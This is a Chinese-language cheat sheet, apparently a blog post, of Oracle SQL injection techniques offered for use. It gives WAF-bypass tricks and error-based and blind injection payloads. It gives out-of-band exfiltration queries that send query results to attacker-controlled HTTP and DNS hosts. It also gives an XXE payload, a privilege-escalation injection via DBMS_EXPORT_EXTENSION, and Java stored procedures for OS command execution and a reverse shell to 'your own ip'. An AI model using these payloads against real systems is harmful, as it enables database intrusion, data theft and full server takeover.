Oracle注入绕过姿势

空格替换

1
select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin
  • 位置一
    • 可利用其他控制字符替换空格:%00%09%0a%0b%0c%0d
    • 可利用其他符号:.
  • 位置二
    • 可利用其他控制字符替换空格:%00%09%0a%0b%0c%0d
  • 位置三
    • 可利用其他控制字符替换空格:%00%09%0a%0b%0c%0d
    • 可利用其他符号:+-%ad
  • 位置四
    • 可利用其他控制字符替换空格:%00%09%0a%0b%0c%0d
  • 位置五
    • 可利用其他控制字符替换空格:%00%09%0a%0b%0c%0d
    • 可插入字符:%24、`%30-%ff

其它空格绕过姿势

1
/**/ 、 /*--*/ 、 /*//*/

大小写替换

1
2
select --> SeLeCt
from --> FrOm

双写绕过

1
2
select --> selselectect
from --> frfromom

拼接换行回车符

Oracle中用CHR(10)表示换行、CHR(13)表示回车、字符串拼接使用||,那么回车换行即是chr(13)||chr(10)。

只要是select from XXX中的都可以拼接回车或换行,*不限于列名、字段名、正常字符串。如下图在user前拼接回车符

1
http://192.168.150.6/oracle.php?id=-1 uNIon ALl sELEct 1,'2',(SelEct chr(13)||uSEr fROm test wHEre id=1) fROm dUAl --

在之后拼接也是可以的

在oracle 里|| 是连接符号,但是在其他数据库里就不是

1
id=1 and 1=2 union select (chr(94)||chr(94)||chr(33)||(SELECT banner FROM v$version where rownum=1)||chr(33)||chr(94)||chr(94)) from dual--

报错注入的一些特殊函数替换

ctxsys.drithsx.sn()

1
2
3
4
5
6
7
8
9
10
#获取当前数据库用户#
?ename=-1' or 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select user from dual)%7c%7c'~')--+

#也可以把~替换为ascii#
?ename=-1' or 1=ctxsys.drithsx.sn(1,chr(126)%7c%7c(select user from dual)%7c%7cchr(126))--+

#从 Oracle 数据库中的 user_tables 表中选择第一个表的名称#
?ename=-1' or 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from user_tables where rownum=1)%7c%7c'~')--+

?ename=-1' or 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from user_tables where rownum=1 and table_name<>'DEPT')%7c%7c'~')--+
1
2
#获取数据库版本信息#
?id=1 and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1)) --

XMLType()

1
2
#获取当前数据库用户#
?id=1 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --

dbms_xdb_version.*

​ ①dbms_xdb_version.checkin()

1
2
#获取数据库版本信息#
?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --

​ ②bms_xdb_version.makeversioned()

1
2
#获取当前数据库用户#
ORACLE1?id=1 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --

​ ③dbms_xdb_version.uncheckout()

1
?ename=-1' or (select dbms_xdb_version.uncheckout('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null--+

ordsys.ord_dicom.getmappingxpath

1
?ename=-1' or (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+

UTL_INADDR.get_host_address

这种方法在 Oracle 8g9g10g中不需要任何权限,但是在Oracle 11g以及以后的版本中,官方加强了访问控制权限,所以在11g以后要使用此方法进行报错注入,当前数据库用户必须有网络访问权限。

1
select UTL_INADDR.get_host_name((select user from dual)) from dual;, 

UTL_INADDR.get_host_name

1
select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual;

布尔盲注

使用 ASCII 码逐个比较字符,将返回为 True 的结果输出即可

1
?ename=-1' or ascii(substr((select user from dual),1,1))>65--+

时间盲注

Oracle 的 dbms_pipe.receive_message() 函数用来从指定管道获取消息。该函数接收两个参数,第一个参数用来指定管道名称,第二个参数用来指定等待时间。

1
2
#两秒延时#
?ename=SMITH' and 1=(dbms_pipe.receive_message('RDS',2))--+

由于 Oracle 中没有 if() 函数,因此我们需要使用 decode() 函数或 case when 语句来代替

decode函数

1
?ename=SMITH' and 1=decode(substr((select user from dual),1,1),'S',dbms_pipe.receive_message('RDS',2),0)--+

case when函数

1
?ename=SMITH' and 1=(case when (ascii(substr((select user from dual),1,1))>65) then dbms_pipe.receive_message('RDS',2) else 0 end)--+

带外通道(OOB)

带外通信即使用 Oracle 发送HTTP或者DNS请求,将查询结果带到请求中,然后监测外网服务器的HTTPDNS日志,从日志中获取 sql 语句查询的结果,通过这种方式将繁琐的盲注转换成可以直接简便的获取查询结果的方式,尤其是基于时间的盲注,能极大地加快速度。类似于 Windows 的MySQL 中利用 LOAD_FILE 的 dns 带外通信。

最后,OOB 都需要发起网络请求的权限,存在一定限制。

utl_http.request

utl_http.request() 向外网主机发送 http 请求:

1
select utl_http.request('http://www.baidu.com/?result='||(select user from dual)) from dual;

utl_inaddr.get_host_address

将查询结果拼接到域名下,并使用DNS记录解析日志,通过这种方式获取查询结果。

1
select utl_inaddr.get_host_address((select user from dual)||'you own url') from dual;

SYS.DBMS_LDAP.INIT

utl_inaddr.get_host_address 类似,很多时候数据服务器都是站库分离的,而且不一定能主动访问外网。但是有时候可能会允许 DNS 请求。并且这个函数在 10g/11g 中是 public 权限。

1
SELECT DBMS_LDAP.INIT((‘oob.dnsattacker.com',80) FROM DUAL;

虽然 Oracle 初始化 DBMS_LDAP 没有成功,但是实际上服务器已经拿到数据了:

HTTPURITYPE

1
SELECT HTTPURITYPE((select user from dual)||'.xx.nk40ci.ceye.io').GETCLOB() FROM DUAL;

其他攻击方式

Oracle XXE

实际上是 CVE-2014-6577,受影响版本:11.2.0.311.2.0.412.1.0.112.1.0.2

Oracle XXE 的效果和 UTL_http 的效果差不多,都是将数据传输到远端服务器上。但是,由于 extractvalue() 函数对所有数据库用户都可以使用,不存在权限的问题,所以当在低权限没有UTL_http 权限时,这个不失为一个好方法。

1
2
3
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "you own url'||(SELECT user from dual)||'"> %remote;]>'),'/l') from dual

XML

Oracle 提权漏洞

原理是 GET_DOMAIN_INDEX_TABLES 函数的参数存在注入。而该函数的所有者是 sys,所以通过注入就可以执行任意 sql 语句。而该函数的执行权限为 public,所以只要遇到一个 Oracle 的注入点并且存在这个漏洞的,基本上都可以提升到最高权限。

1
2
3
4
5
6
7
8
9
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(
'1',
'1',
'DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''your own payload'''';END;'';END;--',
'SYS',
0,
'1',
0
) from dual;

权限提升之后就可以做很多事了,因为 Oracle 可以执行 JAVA 代码,所以在提升权限后具体怎么操作,就看各自的 JAVA 水平了。

这里给出几种常见的利用方式(以下均为 your own payload 处的代码):
> 命令执行

  • 创建 JAVA 代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    ## 连成一行输入即可##
    create or replace and compile java source named "Command" as
    import java.io.*;
    public class Command{
    public static String exec(String cmd) throws Exception{
    String sb="";
    BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
    BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
    String lineStr;
    while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"\n";
    inBr.close();
    in.close();
    return sb;
    }
    }
  • 赋予代码执行权限

    1
    begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;
  • 创建函数

    1
    create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String'''''''';
  • 赋予函数执行权限

    1
    grant all on cmd to public
  • 执行命令

    1
    select sys.cmd('whoami') from dual;
反弹 SHELL
  • 创建 JAVA 代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    ## 连成一行即可 ##
    create or replace and compile java source named "shell" as
    import java.io.*;
    import java.net.*;
    public class shell{public static void run() throws Exception {
    Socket s = new Socket("your own ip", 80);
    Process p = Runtime.getRuntime().exec("cmd.exe");
    new T(p.getInputStream(), s.getOutputStream()).start();
    new T(p.getErrorStream(), s.getOutputStream()).start();
    new T(s.getInputStream(), p.getOutputStream()).start();
    }static class T extends Thread {private InputStream i;
    private OutputStream u;
    public T(InputStream in, OutputStream out) {
    this.u = out;
    this.i = in;
    }
    public void run() {
    BufferedReader n = new BufferedReader(new InputStreamReader(i));
    BufferedWriter w = new BufferedWriter(new OutputStreamWriter(u));
    char f[] = new char[8192];
    int l;
    try {
    while ((l = n.read(f, 0, f.length)) > 0) {
    w.write(f, 0, l);w.flush();
    }
    }
    catch (IOException e) {}
    try {
    if (n != null)n.close();
    if (w != null)w.close();
    }
    catch (Exception e) {}
    }
    }
    }
  • 赋予代码执行权限

    1
    begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;
  • 创建函数

    1
    create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; 
  • 赋予函数执行权限

    1
    grant all on reversetcp to public
  • 反弹 SHELL

    1
    select sys.reversetcp from dual;